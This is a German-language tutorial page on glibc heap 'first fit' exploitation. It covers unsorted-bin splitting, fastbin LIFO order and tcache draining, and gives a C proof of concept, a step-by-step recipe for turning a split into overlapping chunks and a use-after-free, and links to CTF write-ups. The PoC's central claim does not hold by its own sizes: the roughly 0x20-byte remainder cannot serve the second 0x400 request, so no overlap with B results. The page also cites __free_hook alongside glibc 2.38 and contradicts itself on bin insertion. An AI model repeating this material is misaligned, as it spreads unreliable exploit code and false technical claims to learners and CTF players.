First Fit

Reading time: 8 minutes

First Fit

Wenn Sie Speicher in einem Programm mit glibc freigeben, werden verschiedene "Bins" verwendet, um die Speicherblöcke zu verwalten. Hier ist eine vereinfachte Erklärung von zwei gängigen Szenarien: unsortierte Bins und Fastbins.

Unsortierte Bins

Wenn Sie einen Speicherblock freigeben, der kein schneller Block ist, gelangt er in den unsortierten Bin. Dieser Bin fungiert wie eine Liste, in die neue freigegebene Blöcke an den Anfang (den "Kopf") hinzugefügt werden. Wenn Sie einen neuen Speicherblock anfordern, schaut der Zuweiser von hinten (dem "Schwanz") in den unsortierten Bin, um einen Block zu finden, der groß genug ist. Wenn ein Block aus dem unsortierten Bin größer ist als das, was Sie benötigen, wird er aufgeteilt, wobei der vordere Teil zurückgegeben wird und der verbleibende Teil im Bin bleibt.

Beispiel:

• Sie reservieren 300 Bytes (a), dann 250 Bytes (b), dann geben Sie a frei und fordern erneut 250 Bytes (c) an.
• Wenn Sie a freigeben, gelangt es in den unsortierten Bin.
• Wenn Sie dann erneut 250 Bytes anfordern, findet der Zuweiser a am Schwanz und teilt es auf, wobei der Teil zurückgegeben wird, der Ihrer Anfrage entspricht, und der Rest im Bin bleibt.
• c wird auf das vorherige a zeigen und mit den Inhalten von a gefüllt sein.

char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);

Fastbins

Fastbins werden für kleine Speicherblöcke verwendet. Im Gegensatz zu unsortierten Bins fügen Fastbins neue Blöcke am Kopf hinzu, was ein Last-In-First-Out (LIFO) Verhalten erzeugt. Wenn Sie einen kleinen Speicherblock anfordern, wird der Allocator vom Kopf des Fastbins abrufen.

Beispiel:

char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20);   // d
b = malloc(20);   // c
c = malloc(20);   // b
d = malloc(20);   // a

🔥 Moderne glibc Überlegungen (tcache ≥ 2.26)

Seit glibc 2.26 behält jeder Thread sein eigenes tcache, das vor dem unsortierten Bin abgefragt wird. Daher wird ein First-Fit-Szenario nur erreicht, wenn:

1. Die angeforderte Größe größer als tcache_max ist (standardmäßig 0x420 auf 64-Bit), oder
2. Der entsprechende tcache-Bin bereits voll oder manuell geleert ist (indem 7 Elemente zugewiesen und in Gebrauch gehalten werden).

In echten Exploits fügen Sie normalerweise eine Hilfsroutine hinzu wie:

// Drain the tcache for a given size
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
for(int i = 0; i < 7; i++) free(pool[i]);

Sobald der tcache erschöpft ist, gehen nachfolgende Freigaben in den unsortierten Bin, und das klassische First-Fit-Verhalten (Schwanzsuche, Kopf-Einfügung) kann erneut ausgelöst werden.

🚩 Erstellen eines überlappenden Chunk UAF mit First-Fit

Der folgende Fragment (getestet auf glibc 2.38) zeigt, wie der Splitter im unsortierten Bin missbraucht werden kann, um 2 überlappende Zeiger zu erstellen – ein leistungsstarkes Primitive, das eine einzelne Freigabe in ein Write-after-Free umwandelt.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
setbuf(stdout, NULL);

/* 1. prepare 2 adjacent chunks and free the first one */
char *A = malloc(0x420);   // big enough to bypass tcache
char *B = malloc(0x420);
strcpy(A, "AAAA\n");
free(A);                   // A → unsorted

/* 2. request a *smaller* size to force a split of A */
char *C = malloc(0x400);   // returns lower half of former A

/* 3. The remainder of A is still in the unsorted bin.
Another 0x400-byte malloc will now return the *same*
region pointed to by B – creating a UAF/overlap. */
char *C2 = malloc(0x400);

printf("B  = %p\nC2 = %p (overlaps B)\n", B, C2);

// Arbitrary write in B is immediately visible via C2
memset(B, 'X', 0x10);
fwrite(C2, 1, 0x10, stdout);  // prints Xs
}

Exploitation Rezept (häufig in aktuellen CTFs):

1. Entleere den tcache für die Zielgröße.
2. Gib einen Chunk frei, sodass er im unsortierten Bin landet.
3. Allociere eine etwas kleinere Größe – der Allocator teilt den unsortierten Chunk.
4. Allociere erneut – der verbleibende Teil überlappt mit einem bereits verwendeten Chunk → UAF.
5. Überschreibe sensible Felder (Funktionszeiger, FILE vtable usw.)

Eine praktische Anwendung findet sich in der Setjmp Herausforderung der HITCON Quals 2024, wo dieses genaue Primitive verwendet wird, um von einem UAF zu vollständiger Kontrolle über __free_hook zu pivotieren.

🛡️ Milderungen & Härtung

• Safe-linking (glibc ≥ 2.32) schützt nur die einfach verlinkten tcache/fastbin Listen. Die unsortierten/kleinen/großen Bins speichern weiterhin rohe Zeiger, sodass Überlappungen basierend auf dem ersten Fit weiterhin möglich sind, wenn du einen Heap-Leak erhalten kannst.
• Heap-Zeiger-Verschlüsselung & MTE (ARM64) betreffen x86-64 glibc noch nicht, aber Härtungsflags der Distribution wie GLIBC_TUNABLES=glibc.malloc.check=3 werden bei inkonsistenten Metadaten abbrechen und naive PoCs brechen.
• Füllen des tcache beim Freigeben (vorgeschlagen für 2024 für glibc 2.41) würde die Nutzung von unsortierten Chunks weiter reduzieren; beobachte zukünftige Releases bei der Entwicklung generischer Exploits.

Weitere Referenzen & Beispiele

• https://heap-exploitation.dhavalkapil.com/attacks/first_fit
• https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/
• ARM64. Use after free: Erzeuge ein Benutzerobjekt, gib es frei, erzeuge ein Objekt, das den freigegebenen Chunk erhält und schreibe darauf, überschreibe die Position von user->password vom vorherigen. Wiederverwende den Benutzer, um die Passwortüberprüfung zu umgehen.
• https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example
• Das Programm erlaubt das Erstellen von Notizen. Eine Notiz hat die Notizinformation in einem malloc(8) (mit einem Zeiger auf eine Funktion, die aufgerufen werden könnte) und einen Zeiger auf ein anderes malloc() mit dem Inhalt der Notiz.
• Der Angriff würde darin bestehen, 2 Notizen (note0 und note1) mit größeren malloc-Inhalten als der Notizinformationsgröße zu erstellen und sie dann freizugeben, sodass sie in den Fast Bin (oder tcache) gelangen.
• Dann, erstelle eine weitere Notiz (note2) mit einer Inhaltsgröße von 8. Der Inhalt wird in note1 sein, da der Chunk wiederverwendet wird, wo wir den Funktionszeiger ändern könnten, um auf die Gewinnfunktion zu zeigen und dann Use-After-Free die note1 zu verwenden, um den neuen Funktionszeiger aufzurufen.
• https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html
• Es ist möglich, etwas Speicher zu allocieren, den gewünschten Wert zu schreiben, ihn freizugeben, ihn erneut zu allocieren und da die vorherigen Daten noch vorhanden sind, wird er gemäß der neuen erwarteten Struktur im Chunk behandelt, was es ermöglicht, den Wert zu setzen, um das Flag zu erhalten.
• https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html
• In diesem Fall ist es notwendig, 4 innerhalb eines bestimmten Chunks zu schreiben, der der erste ist, der allociert wird (auch nachdem alle gezwungen freigegeben wurden). Bei jedem neu allocierten Chunk wird seine Nummer im Array-Index gespeichert. Dann, allociere 4 Chunks (+ den ursprünglich allocierten), der letzte wird 4 enthalten, gib sie frei und zwinge die Reallokation des ersten, der den letzten freigegebenen Chunk verwenden wird, der den 4 enthält.
• 2024 HITCON Quals Setjmp Write-up (Quarkslab) – praktischer first-fit / unsorted-split Überlappungsangriff: https://ctftime.org/writeup/39355
• Angstrom CTF 2024 heapify Write-up – Ausnutzen der unsortierten Bin-Splittung, um libc zu leaken und Überlappung zu gewinnen: https://hackmd.io/@aneii11/H1S2snV40